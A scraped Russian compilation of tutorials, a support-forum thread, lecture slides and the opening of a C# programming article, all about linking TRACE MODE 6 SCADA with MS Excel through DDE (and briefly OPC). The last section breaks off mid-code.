Trace mode dde excel

МРВ
как DDE-сервер

Организуем запрос
реальных значений каналов узла
разработанного проекта приложением MS
Windows в качестве, которого выберем 
книгу MS Excel. Для этого выполним:

  • запуск приложения
    MS Excel;

  • запишем в двух
    ячейках первого столбца запросы на
    получение данных:

=RTM0|GET!Параметр

=RTM0|GET!Управление

где 0
– индивидуальный
номер узла в проекте;

  • запустим на
    исполнение узел АРМ RTM_1;

  • в меню таблицы MS
    Excel Правка
    выберем
    команду Связи,
    выделим оба параметра и нажмем кнопку
    Обновить,
    после чего закроем окно кнопкой ОК.

Убедимся, что
значения в ячейках книги Excel изменяются
вместе с соответствующими реальными
значениями каналов узла (значения канала
Параметр
меняется
постоянно, а канала Управление
– после
введения нового значения с помощью ГЭ
Кнопка):

МРВ
как DDE-клиент

В том случае, когда
требуется получать данные от внешнего
приложения по протоколу DDE,
МРВ TRACE MODE 6 должен выступать в роли
DDE-клиента.
Например, если необходимо вводить во
вновь создаваемый канал Из_таблицы узла
RTM_1
его атрибут Входное
значение
)
данные из ячейки R3C3
книги MS
Excel, необходимо в слое Источники/Приемники
создать
новую группу DDE,
а в ней – компонент DDE#1
и отредактировать
его следующим образом:

где в атрибуте
Имя:

  • Excel – имя приложения;

  • Sheet1 – имя листа
    книги MS Excel;

  • R3C3 – адрес ячейки.

ADVISE
режим посылки клиенту значения при
каждом его изменении.

После необходимо
создать канал класса Float
типа Input
с именем
Из_таблицы и привязать к нему с помощью
механизма drag-and-drop
источник
Excel.Sheet1.R3C3.
После процедур сохранения проекта и
подготовки его к запуску в реальном
времени, запустим MS Excel, а затем узел АРМ
RTM_1
Вводя в ячейку R3C3
произвольные
значения, их можно наблюдать в атрибутах
канала Из_таблицы с помощью окна просмотра
компонентов, открываемого через основное
меню отладчика:

Таким
образом, в результате будем наблюдать
следующее:

Соседние файлы в предмете [НЕСОРТИРОВАННОЕ]

  • #
  • #
  • #
  • #
  • #
  • #
  • #

    13.02.20182.14 Mб42.bmp

  • #
  • #
  • #
  • #

Содержание

  1. Trace mode excel dde
  2. Связь по протоколу DDE с приложением MS Windows на примере Excel
  3. Trace mode excel dde
  4. 2-MRV_kak_DDE

Trace mode excel dde

В том случае, когда требуется получать данные от внешнего приложения по протоколу DDE, МРВ TRACE MODE 6 должен выступать в роли DDEклиента. Например, если необходимо вводить во вновь создаваемый канал Из_таблицы узла RTM_1 (в его атрибут Входное значение) данные из ячейки R3C3 книги MS Excel, необходимо в слое Источники/Приемники создать новую группу DDE, а в ней – компонент DDE#1 и отредактировать его следующим образом:

где в атрибуте Имя:

Excel – имя приложения;

Sheet1 – имя листа книги MS Excel;

R3C3 – адрес ячейки.

ADVISE – режим посылки клиенту значения при каждом его изменении.

После необходимо создать канал класса Float типа Input с именем Из_таблицы и привязать к нему с помощью механизма draganddrop источник Excel.Sheet1.R3C3. После процедур сохранения проекта и подготовки его к запуску в реальном времени, запустим MS Excel, а затем узел АРМ RTM_1. Вводя в ячейку R3C3 произвольные значения, их можно наблюдать в атрибутах канала Из_таблицы с помощью окна просмотра компонентов, открываемого через основное меню отладчика:

Таким образом, в результате будем наблюдать следующее:

Источник

Связь по протоколу DDE с приложением MS Windows на примере Excel

МРВ как DDE-сервер

Организуем запрос реальных значений каналов узла разработанного проекта приложением MS Windows в качестве, которого выберем книгу MS Excel. Для этого выполним:

· запуск приложения MS Excel;

· запишем в двух ячейках первого столбца запросы на получение данных:

=RTM0|GET!Параметр

=RTM0|GET!Управление

где 0 – индивидуальный номер узла в проекте;

· запустим на исполнение узел АРМ RTM _1;

· в меню таблицы MS Excel Правка выберем команду Связи, выделим оба параметра и нажмем кнопку Обновить, после чего закроем окно кнопкой ОК.

Убедимся, что значения в ячейках книги Excel изменяются вместе с соответствующими реальными значениями каналов узла (значения канала Параметр меняется постоянно, а канала Управление – после введения нового значения с помощью ГЭ Кнопка):

МРВ как DDE-клиент

В том случае, когда требуется получать данные от внешнего приложения по протоколу DDE, МРВ TRACE MODE 6 должен выступать в роли DDE -клиента. Например, если необходимо вводить во вновь создаваемый канал Из_таблицы узла RTM _1 (в его атрибут Входное значение) данные из ячейки R 3 C 3 книги MS Excel, необходимо в слое Источники/Приемники создать новую группу DDE, а в ней – компонент DDE #1 и отредактировать его следующим образом:

где в атрибуте Имя:

· Excel – имя приложения;

· Sheet1 – имя листа книги MS Excel;

· R3C3 – адрес ячейки.

ADVISE – режим посылки клиенту значения при каждом его изменении.

После необходимо создать канал класса Float типа Input с именем Из_таблицы и привязать к нему с помощью механизма drag — and — drop источник Excel . Sheet 1. R 3 C 3. После процедур сохранения проекта и подготовки его к запуску в реальном времени запустим MS Excel, а затем узел АРМ RTM _1. Вводя в ячейку R 3 C 3 произвольные значения, их можно наблюдать в атрибутах канала Из_таблицы с помощью окна просмотра компонентов, открываемого через основное меню отладчика:

Таким образом, в результате будем наблюдать следующее:

Подключение реального внешнего модуля ввода сигналов

Введем в созданный проект модуль удаленного ввода I -7017 с подключенным к одному из его входов задатчиком напряжения. Предварительно настроим модуль с помощью конфигурационной утилиты, поставляемой с модулем на указанную характеристику, зададим «инженерный» формат вывода данных, присвоим ему номер в сети RS -485 равный 1 и установим формат обмена данными 57600,n,8,1 без контрольной суммы. Подключим модуль к порту СОМ1 компьютера через автоматический конвертор интерфейсов I -7520, обеспечим питание обоих модулей.

Создание канала аналогового ввода данных от модуля I-7017

Создать один DCS-модуль аналогового ввода:

открыть слой Источники/приемники и через ПК создать в нем группу Распределенное УСО ( DCS ):

двойным щелчком ЛК открыть группу Распределенное УСО ( DCS )_1 и через ПК создать в ней группу I -7000;

открыть созданную группу I 7000_1 двойным щелчком ЛК и через ПК создать в ней подгруппу I 7017#1:

открыть созданную подгруппу I 7011#1 двойным щелчком ЛК и перейти к созданным компонентам-источникам модуля I-7017:

выделить ЛК компонент AIn #1 и двойным щелчком ЛК перейти в режим редактирования его атрибутов;

все основные атрибуты, задающие настройки модуля, оставить по умолчанию: Номер порта 0 соответствует СОМ1 компьютера, Адрес модуля в нашем случае 1, атрибуты Канал и Слот для выбранного модуля не задаются, Контрольная сумма – отсутствует, Тип сигнала — Вход. Изменить из выпадающего меню Тип сигнала в соответствии с типом датчика и ввести Комментарий.

Дата добавления: 2019-11-16 ; просмотров: 1140 ; Мы поможем в написании вашей работы!

Источник

Trace mode excel dde

This is topic Прошу помочь спроектировать TM как DDE клиент in forum TRACE MODE 6 бесплатная версия / TRACE MODE 6 Free version at Форум TRACE MODE: техническая поддержка.

To visit this topic, use this URL:

Posted by LevSP (Участник № / Member № 4065) on :

Добрый день.
Серьезно рассматриваем Trace Mode как скаду для следующего проекта.
Читаю быстрый старт — не работает DDE клиент.
Создаю источник DDE и там компонент DDE Excel.Лист3.A1 Advise. Внутри RTM_1-каналы создаю канал Float, получился «Канал#3». Привязываю DDE-шный лист к этому каналу. Потом еще этот канал привызяваю к аргументу экрана с типом IN/OUT. В отладчике вижу текст «0» и когда нажимаю Вид-компоненты — там тоже мой канал равен 0. В чем может быть проблема — прошу помочь.
Posted by AdAstra Technical Support (Участник № / Member № 4) on :

В «Быстром старте»:

Excel – имя приложения;

Sheet1 – имя листа книги MS Excel;

R3C3 – адрес ячейки. «
Адрес ячейки номером строки и номером столбца.
Только в таком формате реализуется обращение DDE-клиента в Trace Mode 6.
Posted by LevSP (Участник № / Member № 4065) on :

Спасибо за быстрый ответ. Быстрый старт я читал.
Переименовываю лист в Excel в Sheet1, заполняю все возможные поля значениями. Не получается.

Надо сказать, что при работе TM как DDE сервера, когда в Excel жмем «обновить связи» то excel пишет, рядом с названием канала Н/Д. А когда нажимаем «открыть», то пишет в отдельном окне «Ошибка запуска исходного приложения для обработки объекта». Профайлер в это время запущен. Но данные начинает брать. Не всегда, впрочем, корректно.
Posted by AdAstra Technical Support (Участник № / Member № 4) on :

R3C3 – адрес ячейки. «
Адрес ячейки задается номером строки и номером столбца.
Только в таком формате реализуется обращение DDE-клиента в Trace Mode 6.
Соответственно в таблице Excel необходимо через «Tools/Options/General/Settings» установить «R1C1 reference style».
Posted by LevSP (Участник № / Member № 4065) on :

Спасибо. Проблема решена.
Posted by kukui (Участник № / Member № 5606) on :

Здравствуйте! Опишите, пожалуйста, подробнее как сохранить данные, отображаемые в тренде, в Excel.
Posted by AdAstra Technical Support (Участник № / Member № 4) on :

В Excel по DDE-интерфейсу сохраняются не данные из тренда, а текущие данные, имеющиеся в каналах, связанных с компонентами группы слоя «Источники/Приемники/DDE».
Значения в эти каналы должны передаваться либо из программ, либо пересылаться, например, каналом CALL.MOVE.

В «Справочной системе» этому посвящен раздел «Распределенные АСУ/Обмен по DDE . /../Обмен МРВ как DDE-клиент — приложение».

Кроме того, в разделе «Быстрый старт/Часть первая» приведен пример организации такой связи.
Posted by kukui (Участник № / Member № 5606) on :

Читая справочную систему, непонятно как связать DDE-компонент с данными в программе.
Posted by AdAstra Technical Support (Участник № / Member № 4) on :

Из программы передайте данные в атрибут ВХОД канала OUT, который связан с компонентом DDE-OUT слоя «Источники/Приемники».
Posted by kukui (Участник № / Member № 5606) on :

Поясните, где есть канал OUT, пожалуйста. В компонентах «каналы» узла RTM нет канала OUT. Или что-то я не так понимаю.
Posted by AdAstra Technical Support (Участник № / Member № 4) on :

В «Справочной системе» этому посвящен раздел «Распределенные АСУ/Обмен по DDE . /../Обмен МРВ как DDE-клиент — приложение/Задание значения в режиме POKE».
Создайте, как описано, компонент в слое «Источники/Приемники» и меттодом D&D перетащите его в группу КАНАЛЫ узлы RTM.
Будет создан канал типа OUT.
Залинкуйте на его атрибут ВХОД соответствующий аргумент OUT программы.
Posted by kukui (Участник № / Member № 5606) on :

Спасибо. Получаем данные в реальном времени и отображаем их в Excel. Возможно ли выполнить сохранение всех параметров, полученных, например, за сутки? У нас версия ДокМРВ+
Posted by AdAstra Technical Support (Участник № / Member № 4) on :

Массивами передавать данные из Trace Mode 6 по интерфейсу DDE нельзя.
Posted by kukui (Участник № / Member № 5606) on :

Получается, что мы не можем сохранять данные, полученные с контроллера?
Posted by AdAstra Technical Support (Участник № / Member № 4) on :

Данные, получаемые с контроллера, Вы можете сохранять в архиве Trace Mode 6 СПАД.
Затем эти архивные данные можно выводить на тренд или в таблицу , на экран или в документ.

Если Вы хотите сохранять их в таблице Excel, надо передавать данные, полученные от контроллера, в каналы, связанные с Excel. Это можно сделать программно или с помощью каналов CALL с типом вызова MOVE.

Уточните задачу. Зачем Вы хотите сохранять данные в Excel?
Posted by kukui (Участник № / Member № 5606) on :

Получаем данные от контроллера (ток, напряжение), выводим на тренд. Нужно все полученные данные сохранять в отдельный файл для просмотра изменений состояния параметров системы (ток, напряжение, дата, время) во время работы установки.
Posted by AdAstra Technical Support (Участник № / Member № 4) on :

Сохранять в архив и просмотривать архивные данные во время работы можно штатными средствами Trace Mode 6.
Для этого не надо передавать эти данные в другие приложения.
Posted by kukui (Участник № / Member № 5606) on :

Создали архив с расширением rep, как описано в быстром старте. В него должны данные отправляться? Как его открыть/просмотреть?
Posted by AdAstra Technical Support (Участник № / Member № 4) on :

Там же в «Быстром старте» указано, что архивные данные можно наблюдать на тренде.
Posted by kukui (Участник № / Member № 5606) on :

Согласно быстрому старту, вызвали на редактирование RTM_1, во вкладке «Архивы» задали имя файла Archive.rep, состояние архива true, во вкладке «Отчёт тревог/Дамп/Параметры» задали имя файла Alarms.txt, максимум запией 1000 и далее как указано в инструкции. Как узнать, отправилась ли эта информация в СПАД? И ещё вопрос: почему архивный тренд остаётся пустым? В обычном данные наблюдаются.
Posted by AdAstra Technical Support (Участник № / Member № 4) on :

Отчет тревог и его настройки не имеют отношения к архивированию в СПАД.
Как указано в этом разделе «Быстрого старта», надо настроить каналы на сохранение в СПАД.
Соответствующие параметры, выведенные на тренд, у которого свойство «Использовать архив»=TRUE, в архивном режиме тренда будут отображать сохраненные в архиве СПАД данные.
Надо иметь в виду, что запись в архив может осуществляться с задержкой в 1-2 минуты. Поэтому при обращении к архиву сразу после запуска МРВ на тренде можно наблюдать только данные, сохраненные в предыдущем сеансе включения МРВ. Данные текущего сеанса можно увидеть в архиве не раньше, чем через 1-2 минуты после запуска МРВ.

Топик закрывается, т.к. его тематика не соответствует его наименованию.


UBB.classic™ 6.7.2

Источник

2-MRV_kak_DDE

МРВ как DDE-сервер

Организуем запрос реальных значений каналов узла разработанного проекта приложением MS Windows в качестве, которого выберем книгу MS Excel. Для этого выполним:

запуск приложения MS Excel;

запишем в двух ячейках первого столбца запросы на получение данных:

где 0 – индивидуальный номер узла в проекте;

запустим на исполнение узел АРМ RTM_1;

в меню таблицы MS Excel Правка выберем команду Связи, выделим оба параметра и нажмем кнопку Обновить, после чего закроем окно кнопкой ОК.

Убедимся, что значения в ячейках книги Excel изменяются вместе с соответствующими реальными значениями каналов узла (значения канала Параметр меняется постоянно, а канала Управление – после введения нового значения с помощью ГЭ Кнопка):

МРВ как DDE-клиент

В том случае, когда требуется получать данные от внешнего приложения по протоколу DDE, МРВ TRACE MODE 6 должен выступать в роли DDE-клиента. Например, если необходимо вводить во вновь создаваемый канал Из_таблицы узла RTM_1 (в его атрибут Входное значение) данные из ячейки R3C3 книги MS Excel, необходимо в слое Источники/Приемники создать новую группу DDE, а в ней – компонент DDE#1 и отредактировать его следующим образом:

где в атрибуте Имя:

Excel – имя приложения;

Sheet1 – имя листа книги MS Excel;

R3C3 – адрес ячейки.

ADVISE – режим посылки клиенту значения при каждом его изменении.

После необходимо создать канал класса Float типа Input с именем Из_таблицы и привязать к нему с помощью механизма drag-and-drop источник Excel.Sheet1.R3C3. После процедур сохранения проекта и подготовки его к запуску в реальном времени, запустим MS Excel, а затем узел АРМ RTM_1. Вводя в ячейку R3C3 произвольные значения, их можно наблюдать в атрибутах канала Из_таблицы с помощью окна просмотра компонентов, открываемого через основное меню отладчика:

Таким образом, в результате будем наблюдать следующее:

Источник

1. Практическое занятие №3

Trace Mode.
Передача данных во внешние
приложения

2. Используемые протоколы для передачи данных

DDE – Dynamic Data Exchange
протокол для обмена данными между различными
Windows приложениями по типу клиент/сервер.
Работает между одновременно исполняемыми
программами.
OPC – OLE for Process Control
стандарт взаимодействия между программными
компонентами SCADA и контроллерами.
OLE – Object Linking and Embedding
механизм включения и встраивания объектов.

3. Задача на DDE

Ввести число;
Передать его в Excel;
В Excel провести с числом
арифметическую операцию;
Передать результат обратно в
SCADA.

4. Настроим Excel

5. Настройка каналов и DDE

Два канала:
Задание (тип — Output);
Результат (тип – Input);
Два компонента DDE:
Excel.Лист1.R02C02 – адрес ячейки,
в которую производится запись
задания (тип Output)
Excel.Лист1.R02C03 – адрес ячейки,
из которой производится чтение
результата (тип Input)

6. Результат

7. Поговорим про ОРС

Технология ОРС основана на
стандартах COM/DCOM от компании
Microsoft;
На рабочей станции должен быть
настроен DCOM.
Справка:
DCOM – сетевое расширение технологии
СОМ (модель составных объектов)

8. Зачем всё это нужно?

SCADA система связывается с
«железом» двумя способами:
Драйвер устройства;
ОРС сервер:
«Распределённая» передача данных;
Унификация (подходит для любого
оборудования);
Возможность «обкатки» на матмоделях
из сторонних приложений.

9. С чем работаем?

Используем симулятор ОРС сервера
от Matrikon.

10. Задание

Передать число из SCADA-системы в
ОРС сервер;
Считать данные из ОРС сервера.
Решение этой задачи позволит
передавать данные между
различными приложениями.

11. Настроим ОРС

Запускаем OPC Explorer;

12. Создадим базу тэгов

13. Что мы получили…

14. Настроим SCADA

Экран;
Переменные;
Каналы;
Объекты ОРС:
Источники;
ОРС;
ОРС сервер;
Компонент ОРС.

15. Настроим SCADA

Два канала:
Выходной канал передаёт значение во
внешнее приложение;
Входной канал принимает данные из
внешнего приложения;
Два компонента ОРС:
Выходной;
Входной.

16. Настройка компонентов ОРС

При настройке:
Выбираем ОРС сервер;
Выбираем переменную;
Жмём ОК.

17. Результат

2005 г.

Скачать пример (C# проект).

1. Вступление.

В данной статье я хочу поделиться решением, которое наверняка будет многим полезно. Началось с того, что передо мной была поставлена задача организовать чтение данных из книги MS Excel, причем
данные из ячеек нужно было считывать только в том случае, если они изменились. При этом были выдвинуты жесткие требования к скорости и оперативности обработки информации в изменившихся ячейках.

Перепробовав несколько решений, я остановился на механизме Dynamic Data Exchange, который, несмотря на преклонный возраст (DDE появился еще в Windows 3.0) и относительную громоздкость и
трудоемкость в программировании остается наилучшим решением для организации быстрого обмена данными между приложениями. Однако программирование DDE приложения, тем более в среде .NET, которая не
приветствует явного использования указателей и использование памяти вне ведома Garbage Collector, может вызвать вопросы, особенно у начинающих программистов. Вот на эти вопросы, которые в свое время
возникли у меня, я и постараюсь ответить в данной статье. В конце статьи я приведу готовое решение – компонент ExcelDDEHotConnection, позволяющий организовать подписку на любую ячейку любой
открытой книги, и скрывающий в себе все низкоуровневые операции. Данный компонент может быть свободно использован разработчиками в своих приложениях, при этом я не устанавливаю никаких ограничений
или авторских прав на исходный код.

2. Описание протокола DDE

Начнем с краткого описания протокола DDE. Материал статьи охватывает только ту часть API протокола, которая необходима для организации «горячего» канала DDE.

Протокол DDE подразумевает клиент-серверную архитектуру. Это значит, что одно их приложений выступает в качестве сервера, а второе – клиента. В нашем случае сервером выступает приложение MS Excel,
а приложения .NET являются для него клиентами.  Обмен данными между приложениями происходит посредством транзакций. Управляет всем процессом специальное расширение ОС Windows — динамическая
библиотека DDEML.

По протоколу DDE, сервер в первую очередь должен зарегистрировать себя в библиотеке DDEML. После этого он регистрирует предоставляемые сервисы.

Клиентское приложение также сначала регистрирует себя в библиотеке DDEML. После этого клиентское приложение создает канал связи с сервером.

Протокол DDE поддерживает три вида обмена данными между клиентом и сервером:

  • По явному запросу
  • «Теплый канал»
  • «Горячий канал»

В первом случае клиент явным образом посылает серверу запрос, указывая нужный элемент данных. Сервер, получив подобный запрос, предоставляет клиенту эти данные.

В случае организации «теплого канала» сервер, при изменении данных, отправляет клиенту извещение. Клиент, получив это извещение, может послать запрос серверу на получение этих данных, после чего
сервер предоставляет данные клиенту.

В случае «горячего канала» сервер будет отправлять клиенту данные, не ожидая явного запроса при их изменении.

На практике, как правило, используется либо передача данных по явному запросу, либо «горячий канал», причем второй очень удобен при организации быстрого обмена данными между приложениями в режиме
реального времени. Именно «горячий» канал и будет рассматриваться в этой статье.

В библиотеке DDEML данные адресуются трехступенчатой схемой: сервис (service), раздел (topiс) и элемент данных (data item). Для сервера DDE приложения MS Excel, эта схема выглядит следующим
образом:

  • Зарегистрированный сервис (service): “EXCEL”
  • Разделы данных (topics): “[название_книги]название_страницы”, например “[Книга1]Лист1”.
  • Элемент данных(item) – описание ячейки: “Rномер_строкиСномер_столбца”, например “R1C2” адресует ячейку в первой строке и во втором столбце. При этом нумерация строк в MS Excel начинается с
    единицы.

Для установления связи, приложение должно сначала зарегистрировать себя в библиотеке DDEML и получить свой программный идентификатор. Этот идентификатор необходимо хранить в течение всей работы,
так как для каждого приложения, которое регистрируется в библиотеке DDEML, создается своя копия необходимых структур данных.

Регистрация в библиотеке DDEML происходит с помощью функции DdeInitialize, которая имеет следующую сигнатуру:

UINT WINAPI DdeInitialize(

DWORD FAR* pidInst,

PFNCALLBACK pfnCallback,

DWORD afCmd,

DWORD ulRes);

Параметры, которые передаются функции при вызове:

  • pidInst – ссылка на переменную типа «двойное слово», в которую функция запишет программный идентификатор, присваиваемый приложения библиотекой DDEML. Перед вызовом функции программа должна
    обнулить значение этой переменной.
  • pfnCallback – указатель на функцию обратного вызова.
  • afCmd – набор битовых флагов инициализации, а также устанавливающий некоторые специфические условия работы с библиотекой.
  • ulRes – зарезервировано и должно быть равно нулю.

В случае успешной регистрации, функция DdeInitialize возвращает нулевое значение. Если при инициализации произошла ошибка, то функция вернет код ошибки.

Если приложение больше не собирается работать с библиотекой DDEML, то оно должно вызвать функцию DdeUninitialize, передав ей в качестве параметра программный идентификатор, полученный при
регистрации:

BOOL WINAPI DdeUninitialize(DWORD idInst);

После успешной инициализации, клиентское приложение должно создать канал связи с сервером. Для каждого сервиса и раздела создается свой канал связи. После успешного создания канала, ему
присваивается идентификатор, который указывается в дальнейших транзакциях, как клиентом, так и сервером.

Адресация происходит посредством строк, однако в транзакциях используются их идентификаторы. Эти идентификаторы присваиваются каждой строке библиотекой DDEML и хранятся в специальной системной
таблице идентификации строк. Для создания идентификатора строки, необходимо воспользоваться функцией DdeCreateStringHandle:

HSZ WINAPI DdeCreateStringHandle(

DWORD idInst,

LPCSTR psz,

Int iCodePage);

Функция получает следующие параметры:

  • idInst – программный идентификатор приложения, полученный при регистрации в библиотеке DDEML;
  • psz – адрес текстовой строки, завершенной двоичным нулем. Длина строки не должна превышать 255 байт.
  • iCodePage – кодовая страница, определяющая тип строки, получаемой на вход. При указании константы CP_WINANSI данная строка рассматривается как строка ANSI. Если указать
    константу CP_WINUNICODE, то строка рассматривается как состоящая из символов Unicode.

Функция возвращает идентификатор, который библиотека DDEML присвоила данной строке.

Для того, чтобы освободить ресурсы, связанные с зарегистрированной строкой, клиентское приложение должно вызвать функцию отмены регистрации данной строки DdeFreeStringHandle:

BOOL WINAPI DdeFreeStringHandle(

DWORD idInst,

HSZ hsz);

В качестве параметров функция получает следующее:

  • idInst – программный идентификатор приложения, полученный при регистрации в библиотеке DDEML;
  • hsz – идентификатор строки.

Функция возвращает значение true, если операция прошла успешно, и false — если при выполнении функции произошли ошибки.

Для того, чтобы получить строку по ее идентификатору, необходимо воспользоваться функцией DdeQueryString:

DWORD WINAPI DdeQueryString(

DWORD idInst,

HSZ hsz,

LPSTR psz,

DWORD cchMax,

Int iCodePage

);

В качестве параметров функция получает следующее:

  • idInst — программный идентификатор приложения, полученный при регистрации в библиотеке DDEML;
  • hsz – идентификатор строки, которую нужно получить.
  • psz – указательна буфер, в который будет записана строка
  • cchMax – максимальная длина строки в символах. Вид символа определяется следующим по порядку параметром и может быть ANSI (1 байт) или Unicode (2 байта)
  • iCodePage – определяет тип символов строки. Возможные значения CP_WINANSI – для символов стандарта ANSI (1 байт) и CP_WINUNICODE – для символов стандарта
    Unicode (2 байта).

Функция возвращает количество скопированных символов. При  этом если фактическая длина строки (в символах) меньше указанной в параметре cchMax, то функция скопирует cchMax
символов и вернет это значение. Если cchMax больше фактической длины строки, то функция скопирует всю строку и вернет количество скопированных символов. Если передать через параметр  
psz
нулевое значение, то функция проигнорирует значение параметра cchMax и вернет фактическую длину строки в символах. Размер буфера в байтах для строки зависит от размера символа и
определяется параметром iCodePage.

Для получения данных из глобальной области памяти по их идентификатору нужно воспользоваться функцией DdeGetData:

DWORD WINAPI DdeGetData(

HDDEDATA hData,

void FAR* pDst,

DWORD cbMax,

DWORD cbOff

);

Функция должна получить на вход следующие параметры:

  • hData —  идентификатор порции данных в глобальной области памяти;
  • pDst – указатель на буфер, куда будут скопированы данные из глобальной области.
  • cbMax – размер буфера в байтах. Если фактический размер данных больше размера области в буфере, которая выделяется под эти данные(см. ниже параметр cbOff), то будут скопированы
    только первые (cbMaxcbOff) байт. Иначе функция скопирует все данные в буфер.
  • cbOff – смещение в буфере относительно начала, с которого функция поместит в буфер данные из глобальной области.

Функция возвратит количество фактически скопированных байт данных. Если вместо ссылки на буфер через параметр pDst передать нулевое значение, то функция вернет фактический размер порции
данных в глобальной области памяти, при этом значение параметров cbMax и cbOff будут проигнорированы.

Канал связи DDE создается с помощью функции DdeConnect:

HCONV WINAPI DdeConnect(

DWORD idInst,

HSZ hszService,

HSZ hszTopic,

CONVCONTEXT FAR* pCC);

В качестве параметров функция должна получить следующее:

  • idInst — программный идентификатор приложения, полученный при регистрации в библиотеке DDEML;
  • hszService – идентификатор строки названия сервиса, который необходимо предварительно получить вызовом функции DdeCreateStringHandle
  • hszTopic – идентификатор строки названия раздела, который также заранее запрашивается у библиотеки DDEML вызовом функции DdeCreateStringHandle;
  • pCC – указатель на специальную структуру типа CONVCONTEXT, в которой указывается информация о национальном языке и кодовой странице. В большинстве случаев (в нашем тоже) достаточно
    указать нулевое значение, что означает использование кодовой страницы ANSI.

Функция возвращает идентификатор созданного канала связи. В случае ошибки функция вернет нулевое значение. Полученный идентификатор канала необходимо хранить в течение всего сеанса связи.

Когда приложение завершает работу с каналом, оно должно закрыть его, вызвав функцию DdeDisconnect:

BOOL WINAPI DdeDisconnect(HCONV hConv);

В качестве параметра функция получает идентификатор канала, который нужно закрыть. Функция возвращает true, если канал успешно закрыт и false в случая возникновения ошибок при закрытии канала.

После того, как был создан канал связи, можно начинать обмен данными. Обмен происходит посредством транзакций с помощью функции DdeClientTransaction и функции обратного вызова
DdeCallbackFunction
. Если приложение (независимо от того, клиент или сервер) хочет отправить данные, то оно должно подготовить их, оформить контекст с помощью функций библиотеки DDEML , а потом
вызвать функцию DdeClientTransaction. При этом принимающему приложению будет отправлено сообщение, которое осуществит вызов функцию обратного вызова принимающей стороны. Функции обратного
вызова представляют особой обработчик с множественным ветвлением, каждая ветвь которого обрабатывает соответствующую ей транзакцию. Если транзакция не поддерживается, то функция обратного вызова
должна вернуть нулевое значение, иначе – один из допустимых для обработанной транзакции, кодов возврата.

Функция обратного вызова имеет следующий заголовок:

HDDEDATA EXPENTRY  DdeCallbackFunction(

WORD wType,

WORD wFmt,

HCONV hConv,

HSZ hsz1,

HSZ hsz2,

HDDEDATA hData,

DWORD dwData1,

DWORD dwData2

);

где:

  • wType —  Код транзакции. Коды транзакций предопределены протоколом DDE. Значения и названия соответствующих им констант можно посмотреть в технической документации. Забегая вперед,
    отмечу, что в нашем примере будут использоваться транзакции XTYP_ADVSTART для запуска потока данных по каналу, XTYP_ADVSTOP – для остановки потока данных,
    XTYP
    _ADVDATA – транзакция с уведомлением наличии данных от сервера.
  • wFmt – формат данных (в нашем случае данные представляют собой текстовую строку, поэтому этому параметру при вызове будет присвоено значение CF_TEXT, равное единице).
  • hConv – идентификатор канала. Этот идентификатор получен при создании канала.
  • hsz1 – идентификатор строки названия раздела.
  • hsz2 – идентификатор строки названия элемента данных.
  • hData – идентификатор глобальной области в памяти, где находятся данные от сервера. Данные необходимо получить с помощью функции DdeGetData.

В свою очередь функция запуска транзакции DdeClientTransaction имеет следующий заголовок:

HDDEDATA WINAPI DdeClientTransaction(

void FAR* pData,

DWORD cbData,

HCONV hConv,

HSZ hszItem,

UINT uFmt,

UINT uType,

DWORD dwTimeout,

DWORD FAR* pdwResult

);

  • pData — ссылка на данные, передаваемые транзакцией.
  • cbData — размер передаваемых данных
  • hConv — идентификатор канала связи, полученный заранее функцией DdeConnect
  • hszItem — идентификатор элемента данных, в нашем случае — ячейки. Идентификатор должен быть получен заранее, с помощью функции DdeCreateStringHandle.
  • uFmt — формат данных. Для случая с Excel указывается константа CF_TEXT(1)
  • uType — код транзакции. Определяется комбинацией битовых флагов. В случае организации горячего канала выполняется транзакция XTYP_ADVSTART — для начала цикла получения данных
    из ячейки (подписки на ячейку) и XTYP_ADVSTOP — для прекращения цикла получения данных из ячейки (отписки от ячейки).
  • dwTimeout — тайм-аут для синхронных транзакций — максимальное время выполнения синхронной транзакции. Если в качестве параметра передать 0, то будет запущена асинхронная транзакция. При
    запуске синхронной транзакции, приложение ждет ее завершения. При этом максимальное время выполнения транзакции определяется значением параметра. При запуске асинхронной транзакции приложение не ждет
    завершения транзакции и продолжает свою работу. По завершению транзакции клиент получит транзакцию XTYP_XACT_COMPLETE.
  • pdwResult — ссылка на двойное слово, в которое будет записан код завершения транзакции. Изначально эта переменная должна быть приравнена к нулю. (По рекомендации Microsoft, не
    рекомендуется использовать этот параметр, так как, возможно, в дальнейшем он поддерживаться не будет).
  • Возвращает нулевое значение, если транзакция была выполнена с ошибкой, или ненулевую величину, смысл которой зависит от транзакции, (В нашем случае будет возвращена единица) при нормальном
    выполнении.

3. Отображение библиотеки DDEML в .NET

Библиотека DDEML представляет собой 32-разрядную библиотеку платформы Win32. Ее функции не могут быть вызваны непосредственно из приложения .NET. Для того, чтобы иметь возможность работать с этой
библиотекой, нужно создать ее «отображение» в среде .NET, используя специальные средства. Таким образом, типы и структуры, с которыми работает библиотека будут автоматически преобразовываться
средствами .NET в типы .NET и наоборот. Для доступа к функциям используется класс DLLImportAttribute, который описан в пространстве имен System.Runtime.InteropServices. Что касается типов параметров
функций, как уже было сказано, среда .NET в большинстве случаев автоматически осуществляет все необходимые преобразования. В таблице 1 показаны подобные преобразования:

Win32 .NET
DWORD uint
HCONV IntPtr
HSZ IntPtr
UINT uint
DWORD * ref uint
void* far IntPtr или можно указать [Out] byte[], где [Out] – класс System.Runtime.InteropServices, который организовывает передачу данных от вызываемого объекта к вызывающему.

Для функции обратного вызова необходимо создать делегат, который имеет соответствующую сигнатуру, и указать его в качестве параметра в функции DdeInitialize:

/// <summary>

/// Делегат функции обратного вызова DDE

/// </summary>

internal delegate IntPtr DDECallBackDelegate(

uint wType,            // Код транзакции

uint wFmt,             // Формат данных

IntPtr hConv,          // Идентификатор канала

IntPtr hsz1,           // Идентификатор строки (в нашем случае, строки раздела)

IntPtr hsz2,           // Идентификатор строки (в нашем случае, элемента данных)

IntPtr hData,          // Идентификатор глобальной области данных, где находятся данные

uint dwData1,          // Дополнительный параметр (В нашей работе не рассматривается)

uint dwData2           // Дополнительный параметр (В нашей работе не рассматривается)

      );

При этом отображение функции DdeInitialize в среде .NET будет выглядеть так:

internal class DDEML

{

[DllImport(«user32.dll», EntryPoint=»DdeInitialize», CharSet=CharSet.Ansi)]

internal static extern uint DdeInitialize(

     ref uint pidInst, DDECallBackDelegate pfnCallback, uint afCmd, uint ulRes);

}

Ниже, я привожу пример вызова функции DdeInitialize в среде .NET:

public class ExcelDDEHotConnection

{

     // Ссылка на делегат-переходник для функции обратного вызова DDE

     private DDECallBackDelegate _DDECallBack = null;

     // Обработчик функции обратного вызова

private IntPtr DDECallBack(

           uint uType,

           uint uFmt,

           IntPtr hConv,

